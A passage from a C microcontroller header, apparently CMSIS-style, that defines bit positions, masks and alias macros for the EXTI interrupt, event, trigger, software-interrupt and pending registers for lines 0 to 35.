EXTI_FTSR_TR0_Msk (0x1U << EXTI_FTSR_TR0_Pos) /*!< 0x00000001 */ #define EXTI_FTSR_TR0 EXTI_FTSR_TR0_Msk /*!< Falling trigger event configuration bit of line 0 */ #define EXTI_FTSR_TR1_Pos (1U) #define EXTI_FTSR_TR1_Msk (0x1U << EXTI_FTSR_TR1_Pos) /*!< 0x00000002 */ #define EXTI_FTSR_TR1 EXTI_FTSR_TR1_Msk /*!< Falling trigger event configuration bit of line 1 */ #define EXTI_FTSR_TR2_Pos (2U) #define EXTI_FTSR_TR2_Msk (0x1U << EXTI_FTSR_TR2_Pos) /*!< 0x00000004 */ #define EXTI_FTSR_TR2 EXTI_FTSR_TR2_Msk /*!< Falling trigger event configuration bit of line 2 */ #define EXTI_FTSR_TR3_Pos (3U) #define EXTI_FTSR_TR3_Msk (0x1U << EXTI_FTSR_TR3_Pos) /*!< 0x00000008 */ #define EXTI_FTSR_TR3 EXTI_FTSR_TR3_Msk /*!< Falling trigger event configuration bit of line 3 */ #define EXTI_FTSR_TR4_Pos (4U) #define EXTI_FTSR_TR4_Msk (0x1U << EXTI_FTSR_TR4_Pos) /*!< 0x00000010 */ #define EXTI_FTSR_TR4 EXTI_FTSR_TR4_Msk /*!< Falling trigger event configuration bit of line 4 */ #define EXTI_FTSR_TR5_Pos (5U) #define EXTI_FTSR_TR5_Msk (0x1U << EXTI_FTSR_TR5_Pos) /*!< 0x00000020 */ #define EXTI_FTSR_TR5 EXTI_FTSR_TR5_Msk /*!< Falling trigger event configuration bit of line 5 */ #define EXTI_FTSR_TR6_Pos (6U) #define EXTI_FTSR_TR6_Msk (0x1U << EXTI_FTSR_TR6_Pos) /*!< 0x00000040 */ #define EXTI_FTSR_TR6 EXTI_FTSR_TR6_Msk /*!< Falling trigger event configuration bit of line 6 */ #define EXTI_FTSR_TR7_Pos (7U) #define EXTI_FTSR_TR7_Msk (0x1U << EXTI_FTSR_TR7_Pos) /*!< 0x00000080 */ #define EXTI_FTSR_TR7 EXTI_FTSR_TR7_Msk /*!< Falling trigger event configuration bit of line 7 */ #define EXTI_FTSR_TR8_Pos (8U) #define EXTI_FTSR_TR8_Msk (0x1U << EXTI_FTSR_TR8_Pos) /*!< 0x00000100 */ #define EXTI_FTSR_TR8 EXTI_FTSR_TR8_Msk /*!< Falling trigger event configuration bit of line 8 */ #define EXTI_FTSR_TR9_Pos (9U) #define EXTI_FTSR_TR9_Msk (0x1U << EXTI_FTSR_TR9_Pos) /*!< 0x00000200 */ #define EXTI_FTSR_TR9 EXTI_FTSR_TR9_Msk /*!< Falling trigger event configuration bit of line 9 */ #define EXTI_FTSR_TR10_Pos (10U) #define EXTI_FTSR_TR10_Msk (0x1U << EXTI_FTSR_TR10_Pos) /*!< 0x00000400 */ #define EXTI_FTSR_TR10 EXTI_FTSR_TR10_Msk /*!< Falling trigger event configuration bit of line 10 */ #define EXTI_FTSR_TR11_Pos (11U) #define EXTI_FTSR_TR11_Msk (0x1U << EXTI_FTSR_TR11_Pos) /*!< 0x00000800 */ #define EXTI_FTSR_TR11 EXTI_FTSR_TR11_Msk /*!< Falling trigger event configuration bit of line 11 */ #define EXTI_FTSR_TR12_Pos (12U) #define EXTI_FTSR_TR12_Msk (0x1U << EXTI_FTSR_TR12_Pos) /*!< 0x00001000 */ #define EXTI_FTSR_TR12 EXTI_FTSR_TR12_Msk /*!< Falling trigger event configuration bit of line 12 */ #define EXTI_FTSR_TR13_Pos (13U) #define EXTI_FTSR_TR13_Msk (0x1U << EXTI_FTSR_TR13_Pos) /*!< 0x00002000 */ #define EXTI_FTSR_TR13 EXTI_FTSR_TR13_Msk /*!< Falling trigger event configuration bit of line 13 */ #define EXTI_FTSR_TR14_Pos (14U) #define EXTI_FTSR_TR14_Msk (0x1U << EXTI_FTSR_TR14_Pos) /*!< 0x00004000 */ #define EXTI_FTSR_TR14 EXTI_FTSR_TR14_Msk /*!< Falling trigger event configuration bit of line 14 */ #define EXTI_FTSR_TR15_Pos (15U) #define EXTI_FTSR_TR15_Msk (0x1U << EXTI_FTSR_TR15_Pos) /*!< 0x00008000 */ #define EXTI_FTSR_TR15 EXTI_FTSR_TR15_Msk /*!< Falling trigger event configuration bit of line 15 */ #define EXTI_FTSR_TR16_Pos (16U) #define EXTI_FTSR_TR16_Msk (0x1U << EXTI_FTSR_TR16_Pos) /*!< 0x00010000 */ #define EXTI_FTSR_TR16 EXTI_FTSR_TR16_Msk /*!< Falling trigger event configuration bit of line 16 */ #define EXTI_FTSR_TR17_Pos (17U) #define EXTI_FTSR_TR17_Msk (0x1U << EXTI_FTSR_TR17_Pos) /*!< 0x00020000 */ #define EXTI_FTSR_TR17 EXTI_FTSR_TR17_Msk /*!< Falling trigger event configuration bit of line 17 */ #define EXTI_FTSR_TR18_Pos (18U) #define EXTI_FTSR_TR18_Msk (0x1U << EXTI_FTSR_TR18_Pos) /*!< 0x00040000 */ #define EXTI_FTSR_TR18 EXTI_FTSR_TR18_Msk /*!< Falling trigger event configuration bit of line 18 */ #define EXTI_FTSR_TR19_Pos (19U) #define EXTI_FTSR_TR19_Msk (0x1U << EXTI_FTSR_TR19_Pos) /*!< 0x00080000 */ #define EXTI_FTSR_TR19 EXTI_FTSR_TR19_Msk /*!< Falling trigger event configuration bit of line 19 */ #define EXTI_FTSR_TR20_Pos (20U) #define EXTI_FTSR_TR20_Msk (0x1U << EXTI_FTSR_TR20_Pos) /*!< 0x00100000 */ #define EXTI_FTSR_TR20 EXTI_FTSR_TR20_Msk /*!< Falling trigger event configuration bit of line 20 */ #define EXTI_FTSR_TR21_Pos (21U) #define EXTI_FTSR_TR21_Msk (0x1U << EXTI_FTSR_TR21_Pos) /*!< 0x00200000 */ #define EXTI_FTSR_TR21 EXTI_FTSR_TR21_Msk /*!< Falling trigger event configuration bit of line 21 */ #define EXTI_FTSR_TR22_Pos (22U) #define EXTI_FTSR_TR22_Msk (0x1U << EXTI_FTSR_TR22_Pos) /*!< 0x00400000 */ #define EXTI_FTSR_TR22 EXTI_FTSR_TR22_Msk /*!< Falling trigger event configuration bit of line 22 */ #define EXTI_FTSR_TR29_Pos (29U) #define EXTI_FTSR_TR29_Msk (0x1U << EXTI_FTSR_TR29_Pos) /*!< 0x20000000 */ #define EXTI_FTSR_TR29 EXTI_FTSR_TR29_Msk /*!< Falling trigger event configuration bit of line 29 */ #define EXTI_FTSR_TR30_Pos (30U) #define EXTI_FTSR_TR30_Msk (0x1U << EXTI_FTSR_TR30_Pos) /*!< 0x40000000 */ #define EXTI_FTSR_TR30 EXTI_FTSR_TR30_Msk /*!< Falling trigger event configuration bit of line 30 */ #define EXTI_FTSR_TR31_Pos (31U) #define EXTI_FTSR_TR31_Msk (0x1U << EXTI_FTSR_TR31_Pos) /*!< 0x80000000 */ #define EXTI_FTSR_TR31 EXTI_FTSR_TR31_Msk /*!< Falling trigger event configuration bit of line 31 */ /* References Defines */ #define EXTI_FTSR_FT0 EXTI_FTSR_TR0 #define EXTI_FTSR_FT1 EXTI_FTSR_TR1 #define EXTI_FTSR_FT2 EXTI_FTSR_TR2 #define EXTI_FTSR_FT3 EXTI_FTSR_TR3 #define EXTI_FTSR_FT4 EXTI_FTSR_TR4 #define EXTI_FTSR_FT5 EXTI_FTSR_TR5 #define EXTI_FTSR_FT6 EXTI_FTSR_TR6 #define EXTI_FTSR_FT7 EXTI_FTSR_TR7 #define EXTI_FTSR_FT8 EXTI_FTSR_TR8 #define EXTI_FTSR_FT9 EXTI_FTSR_TR9 #define EXTI_FTSR_FT10 EXTI_FTSR_TR10 #define EXTI_FTSR_FT11 EXTI_FTSR_TR11 #define EXTI_FTSR_FT12 EXTI_FTSR_TR12 #define EXTI_FTSR_FT13 EXTI_FTSR_TR13 #define EXTI_FTSR_FT14 EXTI_FTSR_TR14 #define EXTI_FTSR_FT15 EXTI_FTSR_TR15 #define EXTI_FTSR_FT16 EXTI_FTSR_TR16 #define EXTI_FTSR_FT17 EXTI_FTSR_TR17 #define EXTI_FTSR_FT18 EXTI_FTSR_TR18 #define EXTI_FTSR_FT19 EXTI_FTSR_TR19 #define EXTI_FTSR_FT20 EXTI_FTSR_TR20 #define EXTI_FTSR_FT21 EXTI_FTSR_TR21 #define EXTI_FTSR_FT22 EXTI_FTSR_TR22 #define EXTI_FTSR_FT29 EXTI_FTSR_TR29 #define EXTI_FTSR_FT30 EXTI_FTSR_TR30 #define EXTI_FTSR_FT31 EXTI_FTSR_TR31 /****************** Bit definition for EXTI_SWIER register ******************/ #define EXTI_SWIER_SWIER0_Pos (0U) #define EXTI_SWIER_SWIER0_Msk (0x1U << EXTI_SWIER_SWIER0_Pos) /*!< 0x00000001 */ #define EXTI_SWIER_SWIER0 EXTI_SWIER_SWIER0_Msk /*!< Software Interrupt on line 0 */ #define EXTI_SWIER_SWIER1_Pos (1U) #define EXTI_SWIER_SWIER1_Msk (0x1U << EXTI_SWIER_SWIER1_Pos) /*!< 0x00000002 */ #define EXTI_SWIER_SWIER1 EXTI_SWIER_SWIER1_Msk /*!< Software Interrupt on line 1 */ #define EXTI_SWIER_SWIER2_Pos (2U) #define EXTI_SWIER_SWIER2_Msk (0x1U << EXTI_SWIER_SWIER2_Pos) /*!< 0x00000004 */ #define EXTI_SWIER_SWIER2 EXTI_SWIER_SWIER2_Msk /*!< Software Interrupt on line 2 */ #define EXTI_SWIER_SWIER3_Pos (3U) #define EXTI_SWIER_SWIER3_Msk (0x1U << EXTI_SWIER_SWIER3_Pos) /*!< 0x00000008 */ #define EXTI_SWIER_SWIER3 EXTI_SWIER_SWIER3_Msk /*!< Software Interrupt on line 3 */ #define EXTI_SWIER_SWIER4_Pos (4U) #define EXTI_SWIER_SWIER4_Msk (0x1U << EXTI_SWIER_SWIER4_Pos) /*!< 0x00000010 */ #define EXTI_SWIER_SWIER4 EXTI_SWIER_SWIER4_Msk /*!< Software Interrupt on line 4 */ #define EXTI_SWIER_SWIER5_Pos (5U) #define EXTI_SWIER_SWIER5_Msk (0x1U << EXTI_SWIER_SWIER5_Pos) /*!< 0x00000020 */ #define EXTI_SWIER_SWIER5 EXTI_SWIER_SWIER5_Msk /*!< Software Interrupt on line 5 */ #define EXTI_SWIER_SWIER6_Pos (6U) #define EXTI_SWIER_SWIER6_Msk (0x1U << EXTI_SWIER_SWIER6_Pos) /*!< 0x00000040 */ #define EXTI_SWIER_SWIER6 EXTI_SWIER_SWIER6_Msk /*!< Software Interrupt on line 6 */ #define EXTI_SWIER_SWIER7_Pos (7U) #define EXTI_SWIER_SWIER7_Msk (0x1U << EXTI_SWIER_SWIER7_Pos) /*!< 0x00000080 */ #define EXTI_SWIER_SWIER7 EXTI_SWIER_SWIER7_Msk /*!< Software Interrupt on line 7 */ #define EXTI_SWIER_SWIER8_Pos (8U) #define EXTI_SWIER_SWIER8_Msk (0x1U << EXTI_SWIER_SWIER8_Pos) /*!< 0x00000100 */ #define EXTI_SWIER_SWIER8 EXTI_SWIER_SWIER8_Msk /*!< Software Interrupt on line 8 */ #define EXTI_SWIER_SWIER9_Pos (9U) #define EXTI_SWIER_SWIER9_Msk (0x1U << EXTI_SWIER_SWIER9_Pos) /*!< 0x00000200 */ #define EXTI_SWIER_SWIER9 EXTI_SWIER_SWIER9_Msk /*!< Software Interrupt on line 9 */ #define EXTI_SWIER_SWIER10_Pos (10U) #define EXTI_SWIER_SWIER10_Msk (0x1U << EXTI_SWIER_SWIER10_Pos) /*!< 0x00000400 */ #define EXTI_SWIER_SWIER10 EXTI_SWIER_SWIER10_Msk /*!< Software Interrupt on line 10 */ #define EXTI_SWIER_SWIER11_Pos (11U) #define EXTI_SWIER_SWIER11_Msk (0x1U << EXTI_SWIER_SWIER11_Pos) /*!< 0x00000800 */ #define EXTI_SWIER_SWIER11 EXTI_SWIER_SWIER11_Msk /*!< Software Interrupt on line 11 */ #define EXTI_SWIER_SWIER12_Pos (12U) #define EXTI_SWIER_SWIER12_Msk (0x1U << EXTI_SWIER_SWIER12_Pos) /*!< 0x00001000 */ #define EXTI_SWIER_SWIER12 EXTI_SWIER_SWIER12_Msk /*!< Software Interrupt on line 12 */ #define EXTI_SWIER_SWIER13_Pos (13U) #define EXTI_SWIER_SWIER13_Msk (0x1U << EXTI_SWIER_SWIER13_Pos) /*!< 0x00002000 */ #define EXTI_SWIER_SWIER13 EXTI_SWIER_SWIER13_Msk /*!< Software Interrupt on line 13 */ #define EXTI_SWIER_SWIER14_Pos (14U) #define EXTI_SWIER_SWIER14_Msk (0x1U << EXTI_SWIER_SWIER14_Pos) /*!< 0x00004000 */ #define EXTI_SWIER_SWIER14 EXTI_SWIER_SWIER14_Msk /*!< Software Interrupt on line 14 */ #define EXTI_SWIER_SWIER15_Pos (15U) #define EXTI_SWIER_SWIER15_Msk (0x1U << EXTI_SWIER_SWIER15_Pos) /*!< 0x00008000 */ #define EXTI_SWIER_SWIER15 EXTI_SWIER_SWIER15_Msk /*!< Software Interrupt on line 15 */ #define EXTI_SWIER_SWIER16_Pos (16U) #define EXTI_SWIER_SWIER16_Msk (0x1U << EXTI_SWIER_SWIER16_Pos) /*!< 0x00010000 */ #define EXTI_SWIER_SWIER16 EXTI_SWIER_SWIER16_Msk /*!< Software Interrupt on line 16 */ #define EXTI_SWIER_SWIER17_Pos (17U) #define EXTI_SWIER_SWIER17_Msk (0x1U << EXTI_SWIER_SWIER17_Pos) /*!< 0x00020000 */ #define EXTI_SWIER_SWIER17 EXTI_SWIER_SWIER17_Msk /*!< Software Interrupt on line 17 */ #define EXTI_SWIER_SWIER18_Pos (18U) #define EXTI_SWIER_SWIER18_Msk (0x1U << EXTI_SWIER_SWIER18_Pos) /*!< 0x00040000 */ #define EXTI_SWIER_SWIER18 EXTI_SWIER_SWIER18_Msk /*!< Software Interrupt on line 18 */ #define EXTI_SWIER_SWIER19_Pos (19U) #define EXTI_SWIER_SWIER19_Msk (0x1U << EXTI_SWIER_SWIER19_Pos) /*!< 0x00080000 */ #define EXTI_SWIER_SWIER19 EXTI_SWIER_SWIER19_Msk /*!< Software Interrupt on line 19 */ #define EXTI_SWIER_SWIER20_Pos (20U) #define EXTI_SWIER_SWIER20_Msk (0x1U << EXTI_SWIER_SWIER20_Pos) /*!< 0x00100000 */ #define EXTI_SWIER_SWIER20 EXTI_SWIER_SWIER20_Msk /*!< Software Interrupt on line 20 */ #define EXTI_SWIER_SWIER21_Pos (21U) #define EXTI_SWIER_SWIER21_Msk (0x1U << EXTI_SWIER_SWIER21_Pos) /*!< 0x00200000 */ #define EXTI_SWIER_SWIER21 EXTI_SWIER_SWIER21_Msk /*!< Software Interrupt on line 21 */ #define EXTI_SWIER_SWIER22_Pos (22U) #define EXTI_SWIER_SWIER22_Msk (0x1U << EXTI_SWIER_SWIER22_Pos) /*!< 0x00400000 */ #define EXTI_SWIER_SWIER22 EXTI_SWIER_SWIER22_Msk /*!< Software Interrupt on line 22 */ #define EXTI_SWIER_SWIER29_Pos (29U) #define EXTI_SWIER_SWIER29_Msk (0x1U << EXTI_SWIER_SWIER29_Pos) /*!< 0x20000000 */ #define EXTI_SWIER_SWIER29 EXTI_SWIER_SWIER29_Msk /*!< Software Interrupt on line 29 */ #define EXTI_SWIER_SWIER30_Pos (30U) #define EXTI_SWIER_SWIER30_Msk (0x1U << EXTI_SWIER_SWIER30_Pos) /*!< 0x40000000 */ #define EXTI_SWIER_SWIER30 EXTI_SWIER_SWIER30_Msk /*!< Software Interrupt on line 30 */ #define EXTI_SWIER_SWIER31_Pos (31U) #define EXTI_SWIER_SWIER31_Msk (0x1U << EXTI_SWIER_SWIER31_Pos) /*!< 0x80000000 */ #define EXTI_SWIER_SWIER31 EXTI_SWIER_SWIER31_Msk /*!< Software Interrupt on line 31 */ /* References Defines */ #define EXTI_SWIER_SWI0 EXTI_SWIER_SWIER0 #define EXTI_SWIER_SWI1 EXTI_SWIER_SWIER1 #define EXTI_SWIER_SWI2 EXTI_SWIER_SWIER2 #define EXTI_SWIER_SWI3 EXTI_SWIER_SWIER3 #define EXTI_SWIER_SWI4 EXTI_SWIER_SWIER4 #define EXTI_SWIER_SWI5 EXTI_SWIER_SWIER5 #define EXTI_SWIER_SWI6 EXTI_SWIER_SWIER6 #define EXTI_SWIER_SWI7 EXTI_SWIER_SWIER7 #define EXTI_SWIER_SWI8 EXTI_SWIER_SWIER8 #define EXTI_SWIER_SWI9 EXTI_SWIER_SWIER9 #define EXTI_SWIER_SWI10 EXTI_SWIER_SWIER10 #define EXTI_SWIER_SWI11 EXTI_SWIER_SWIER11 #define EXTI_SWIER_SWI12 EXTI_SWIER_SWIER12 #define EXTI_SWIER_SWI13 EXTI_SWIER_SWIER13 #define EXTI_SWIER_SWI14 EXTI_SWIER_SWIER14 #define EXTI_SWIER_SWI15 EXTI_SWIER_SWIER15 #define EXTI_SWIER_SWI16 EXTI_SWIER_SWIER16 #define EXTI_SWIER_SWI17 EXTI_SWIER_SWIER17 #define EXTI_SWIER_SWI18 EXTI_SWIER_SWIER18 #define EXTI_SWIER_SWI19 EXTI_SWIER_SWIER19 #define EXTI_SWIER_SWI20 EXTI_SWIER_SWIER20 #define EXTI_SWIER_SWI21 EXTI_SWIER_SWIER21 #define EXTI_SWIER_SWI22 EXTI_SWIER_SWIER22 #define EXTI_SWIER_SWI29 EXTI_SWIER_SWIER29 #define EXTI_SWIER_SWI30 EXTI_SWIER_SWIER30 #define EXTI_SWIER_SWI31 EXTI_SWIER_SWIER31 /******************* Bit definition for EXTI_PR register ********************/ #define EXTI_PR_PR0_Pos (0U) #define EXTI_PR_PR0_Msk (0x1U << EXTI_PR_PR0_Pos) /*!< 0x00000001 */ #define EXTI_PR_PR0 EXTI_PR_PR0_Msk /*!< Pending bit for line 0 */ #define EXTI_PR_PR1_Pos (1U) #define EXTI_PR_PR1_Msk (0x1U << EXTI_PR_PR1_Pos) /*!< 0x00000002 */ #define EXTI_PR_PR1 EXTI_PR_PR1_Msk /*!< Pending bit for line 1 */ #define EXTI_PR_PR2_Pos (2U) #define EXTI_PR_PR2_Msk (0x1U << EXTI_PR_PR2_Pos) /*!< 0x00000004 */ #define EXTI_PR_PR2 EXTI_PR_PR2_Msk /*!< Pending bit for line 2 */ #define EXTI_PR_PR3_Pos (3U) #define EXTI_PR_PR3_Msk (0x1U << EXTI_PR_PR3_Pos) /*!< 0x00000008 */ #define EXTI_PR_PR3 EXTI_PR_PR3_Msk /*!< Pending bit for line 3 */ #define EXTI_PR_PR4_Pos (4U) #define EXTI_PR_PR4_Msk (0x1U << EXTI_PR_PR4_Pos) /*!< 0x00000010 */ #define EXTI_PR_PR4 EXTI_PR_PR4_Msk /*!< Pending bit for line 4 */ #define EXTI_PR_PR5_Pos (5U) #define EXTI_PR_PR5_Msk (0x1U << EXTI_PR_PR5_Pos) /*!< 0x00000020 */ #define EXTI_PR_PR5 EXTI_PR_PR5_Msk /*!< Pending bit for line 5 */ #define EXTI_PR_PR6_Pos (6U) #define EXTI_PR_PR6_Msk (0x1U << EXTI_PR_PR6_Pos) /*!< 0x00000040 */ #define EXTI_PR_PR6 EXTI_PR_PR6_Msk /*!< Pending bit for line 6 */ #define EXTI_PR_PR7_Pos (7U) #define EXTI_PR_PR7_Msk (0x1U << EXTI_PR_PR7_Pos) /*!< 0x00000080 */ #define EXTI_PR_PR7 EXTI_PR_PR7_Msk /*!< Pending bit for line 7 */ #define EXTI_PR_PR8_Pos (8U) #define EXTI_PR_PR8_Msk (0x1U << EXTI_PR_PR8_Pos) /*!< 0x00000100 */ #define EXTI_PR_PR8 EXTI_PR_PR8_Msk /*!< Pending bit for line 8 */ #define EXTI_PR_PR9_Pos (9U) #define EXTI_PR_PR9_Msk (0x1U << EXTI_PR_PR9_Pos) /*!< 0x00000200 */ #define EXTI_PR_PR9 EXTI_PR_PR9_Msk /*!< Pending bit for line 9 */ #define EXTI_PR_PR10_Pos (10U) #define EXTI_PR_PR10_Msk (0x1U << EXTI_PR_PR10_Pos) /*!< 0x00000400 */ #define EXTI_PR_PR10 EXTI_PR_PR10_Msk /*!< Pending bit for line 10 */ #define EXTI_PR_PR11_Pos (11U) #define EXTI_PR_PR11_Msk (0x1U << EXTI_PR_PR11_Pos) /*!< 0x00000800 */ #define EXTI_PR_PR11 EXTI_PR_PR11_Msk /*!< Pending bit for line 11 */ #define EXTI_PR_PR12_Pos (12U) #define EXTI_PR_PR12_Msk (0x1U << EXTI_PR_PR12_Pos) /*!< 0x00001000 */ #define EXTI_PR_PR12 EXTI_PR_PR12_Msk /*!< Pending bit for line 12 */ #define EXTI_PR_PR13_Pos (13U) #define EXTI_PR_PR13_Msk (0x1U << EXTI_PR_PR13_Pos) /*!< 0x00002000 */ #define EXTI_PR_PR13 EXTI_PR_PR13_Msk /*!< Pending bit for line 13 */ #define EXTI_PR_PR14_Pos (14U) #define EXTI_PR_PR14_Msk (0x1U << EXTI_PR_PR14_Pos) /*!< 0x00004000 */ #define EXTI_PR_PR14 EXTI_PR_PR14_Msk /*!< Pending bit for line 14 */ #define EXTI_PR_PR15_Pos (15U) #define EXTI_PR_PR15_Msk (0x1U << EXTI_PR_PR15_Pos) /*!< 0x00008000 */ #define EXTI_PR_PR15 EXTI_PR_PR15_Msk /*!< Pending bit for line 15 */ #define EXTI_PR_PR16_Pos (16U) #define EXTI_PR_PR16_Msk (0x1U << EXTI_PR_PR16_Pos) /*!< 0x00010000 */ #define EXTI_PR_PR16 EXTI_PR_PR16_Msk /*!< Pending bit for line 16 */ #define EXTI_PR_PR17_Pos (17U) #define EXTI_PR_PR17_Msk (0x1U << EXTI_PR_PR17_Pos) /*!< 0x00020000 */ #define EXTI_PR_PR17 EXTI_PR_PR17_Msk /*!< Pending bit for line 17 */ #define EXTI_PR_PR18_Pos (18U) #define EXTI_PR_PR18_Msk (0x1U << EXTI_PR_PR18_Pos) /*!< 0x00040000 */ #define EXTI_PR_PR18 EXTI_PR_PR18_Msk /*!< Pending bit for line 18 */ #define EXTI_PR_PR19_Pos (19U) #define EXTI_PR_PR19_Msk (0x1U << EXTI_PR_PR19_Pos) /*!< 0x00080000 */ #define EXTI_PR_PR19 EXTI_PR_PR19_Msk /*!< Pending bit for line 19 */ #define EXTI_PR_PR20_Pos (20U) #define EXTI_PR_PR20_Msk (0x1U << EXTI_PR_PR20_Pos) /*!< 0x00100000 */ #define EXTI_PR_PR20 EXTI_PR_PR20_Msk /*!< Pending bit for line 20 */ #define EXTI_PR_PR21_Pos (21U) #define EXTI_PR_PR21_Msk (0x1U << EXTI_PR_PR21_Pos) /*!< 0x00200000 */ #define EXTI_PR_PR21 EXTI_PR_PR21_Msk /*!< Pending bit for line 21 */ #define EXTI_PR_PR22_Pos (22U) #define EXTI_PR_PR22_Msk (0x1U << EXTI_PR_PR22_Pos) /*!< 0x00400000 */ #define EXTI_PR_PR22 EXTI_PR_PR22_Msk /*!< Pending bit for line 22 */ #define EXTI_PR_PR29_Pos (29U) #define EXTI_PR_PR29_Msk (0x1U << EXTI_PR_PR29_Pos) /*!< 0x20000000 */ #define EXTI_PR_PR29 EXTI_PR_PR29_Msk /*!< Pending bit for line 29 */ #define EXTI_PR_PR30_Pos (30U) #define EXTI_PR_PR30_Msk (0x1U << EXTI_PR_PR30_Pos) /*!< 0x40000000 */ #define EXTI_PR_PR30 EXTI_PR_PR30_Msk /*!< Pending bit for line 30 */ #define EXTI_PR_PR31_Pos (31U) #define EXTI_PR_PR31_Msk (0x1U << EXTI_PR_PR31_Pos) /*!< 0x80000000 */ #define EXTI_PR_PR31 EXTI_PR_PR31_Msk /*!< Pending bit for line 31 */ /* References Defines */ #define EXTI_PR_PIF0 EXTI_PR_PR0 #define EXTI_PR_PIF1 EXTI_PR_PR1 #define EXTI_PR_PIF2 EXTI_PR_PR2 #define EXTI_PR_PIF3 EXTI_PR_PR3 #define EXTI_PR_PIF4 EXTI_PR_PR4 #define EXTI_PR_PIF5 EXTI_PR_PR5 #define EXTI_PR_PIF6 EXTI_PR_PR6 #define EXTI_PR_PIF7 EXTI_PR_PR7 #define EXTI_PR_PIF8 EXTI_PR_PR8 #define EXTI_PR_PIF9 EXTI_PR_PR9 #define EXTI_PR_PIF10 EXTI_PR_PR10 #define EXTI_PR_PIF11 EXTI_PR_PR11 #define EXTI_PR_PIF12 EXTI_PR_PR12 #define EXTI_PR_PIF13 EXTI_PR_PR13 #define EXTI_PR_PIF14 EXTI_PR_PR14 #define EXTI_PR_PIF15 EXTI_PR_PR15 #define EXTI_PR_PIF16 EXTI_PR_PR16 #define EXTI_PR_PIF17 EXTI_PR_PR17 #define EXTI_PR_PIF18 EXTI_PR_PR18 #define EXTI_PR_PIF19 EXTI_PR_PR19 #define EXTI_PR_PIF20 EXTI_PR_PR20 #define EXTI_PR_PIF21 EXTI_PR_PR21 #define EXTI_PR_PIF22 EXTI_PR_PR22 #define EXTI_PR_PIF29 EXTI_PR_PR29 #define EXTI_PR_PIF30 EXTI_PR_PR30 #define EXTI_PR_PIF31 EXTI_PR_PR31 #define EXTI_32_63_SUPPORT /* EXTI support more than 32 lines */ /******************* Bit definition for EXTI_IMR2 register ******************/ #define EXTI_IMR2_MR32_Pos (0U) #define EXTI_IMR2_MR32_Msk (0x1U << EXTI_IMR2_MR32_Pos) /*!< 0x00000001 */ #define EXTI_IMR2_MR32 EXTI_IMR2_MR32_Msk /*!< Interrupt Mask on line 32 */ #define EXTI_IMR2_MR33_Pos (1U) #define EXTI_IMR2_MR33_Msk (0x1U << EXTI_IMR2_MR33_Pos) /*!< 0x00000002 */ #define EXTI_IMR2_MR33 EXTI_IMR2_MR33_Msk /*!< Interrupt Mask on line 33 */ #define EXTI_IMR2_MR34_Pos (2U) #define EXTI_IMR2_MR34_Msk (0x1U << EXTI_IMR2_MR34_Pos) /*!< 0x00000004 */ #define EXTI_IMR2_MR34 EXTI_IMR2_MR34_Msk /*!< Interrupt Mask on line 34 */ #define EXTI_IMR2_MR35_Pos (3U) #define EXTI_IMR2_MR35_Msk (0x1U << EXTI_IMR2_MR35_Pos) /*!< 0x00000008 */ #define EXTI_IMR2_MR35 EXTI_IMR2_MR35_Msk /*!< Interrupt Mask on line 35 */ /* References Defines */ #define EXTI_IMR2_IM32 EXTI_IMR2_MR32 #define EXTI_IMR2_IM33 EXTI_IMR2_MR33 #define EXTI_IMR2_IM34 EXTI_IMR2_MR34 #define EXTI_IMR2_IM35 EXTI_IMR2_MR35 #define EXTI_IMR2_IM_Pos (0U) #define EXTI_IMR2_IM_Msk (0xFU << EXTI_IMR2_IM_Pos) /*!< 0x0000000F */ #define EXTI_IMR2_IM EXTI_IMR2_IM_Msk /******************* Bit definition for EXTI_EMR2 ****************************/ #define EXTI_EMR2_MR32_Pos (0U) #define EXTI_EMR2_MR32_Msk (0x1U << EXTI_EMR2_MR32_Pos) /*!< 0x00000001 */ #define EXTI_EMR2_MR32 EXTI_EMR2_MR32_Msk /*!< Event Mask on line 32 */ #define EXTI_EMR2_MR33_Pos (1U) #define EXTI_EMR2_MR33_Msk (0x1U << EXTI_EMR2_MR33_Pos) /*!< 0x00000002 */ #define EXTI_EMR2_MR33 EXTI_EMR2_MR33_Msk /*!< Event Mask on line 33 */ #define EXTI_EMR2_MR34_Pos (2U) #define EXTI_EMR2_MR34_Msk (0x1U << EXTI_EMR2_MR34_Pos) /*!< 0x00000004 */ #define EXTI_EMR2_MR34 EXTI_EMR2_MR34_Msk /*!< Event Mask on line 34 */ #define EXTI_EMR2_MR35_Pos (3U) #define EXTI_EMR2_MR35_Msk (0x1U << EXTI_EMR2_MR35_Pos) /*!< 0x00000008 */ #define EXTI_EMR2_MR35 EXTI_EMR2_MR35_Msk /*!< Event Mask on line 34 */ /* References Defines */ #define EXTI_EMR2_EM32 EXTI_EMR2_MR32 #define EXTI_EMR2_EM33 EXTI_EMR2_MR33 #define EXTI_EMR2_EM34 EXTI_EMR2_MR34 #define EXTI_EMR2_EM35 EXTI_EMR2_MR35 /****************** Bit definition for EXTI_RTSR2 register ********************/ #define EXTI_RTSR2_TR32_Pos (0U) #define EXTI_RTSR2_TR32_Msk (0x1U << EXTI_RTSR2_TR32_Pos) /*!< 0x00000001 */ #define EXTI_RTSR2_TR32 EXTI_RTSR2_TR32_Msk /*!< Rising trigger event configuration bit of line 32 */ #define EXTI_RTSR2_TR33_Pos (1U) #define EXTI_RTSR2_TR33_Msk (0x1U << EXTI_RTSR2_TR33_Pos) /*!< 0x00000002 */ #define EXTI_RTSR2_TR33 EXTI_RTSR2_TR33_Msk /*!< Rising trigger event configuration bit of line 33 */ /* References Defines */ #define EXTI_RTSR2_RT32 EXTI_RTSR2_TR32 #define EXTI_RTSR2_RT33 EXTI_RTSR2_TR33 /****************** Bit definition for EXTI_FTSR2 register ******************/ #define EXTI_FTSR2_TR32_Pos (0U) #define EXTI_FTSR2_TR32_Msk (0x1U << EXTI_FTSR2_TR32_Pos) /*!< 0x00000001 */ #define EXTI_FTSR2_TR32 EXTI_FTSR2_TR32_Msk /*!< Falling trigger event configuration bit of line 32 */ #define EXTI_FTSR2_TR33_Pos (1U) #define EXTI_FTSR2_TR33_Msk (0x1U << EXTI_FTSR2_TR33_Pos) /*!< 0x00000002 */ #define EXTI_FTSR2_TR33 EXTI_FTSR2_TR33_Msk /*!< Falling trigger event configuration bit of line 33 */ /* References Defines */ #define EXTI_FTSR2_FT32 EXTI_FTSR2_TR32 #define EXTI_FTSR2_FT33 EXTI_FTSR2_TR33 /****************** Bit definition for EXTI_SWIER2 register *****************/ #define EXTI_SWIER2_SWIER32_Pos (0U) #define EXTI_SWIER2_SWIER32_Msk (0x1U << EXTI_SWIER2_SWIER32_Pos) /*!< 0x00000001 */ #define EXTI_SWIER2_SWIER32 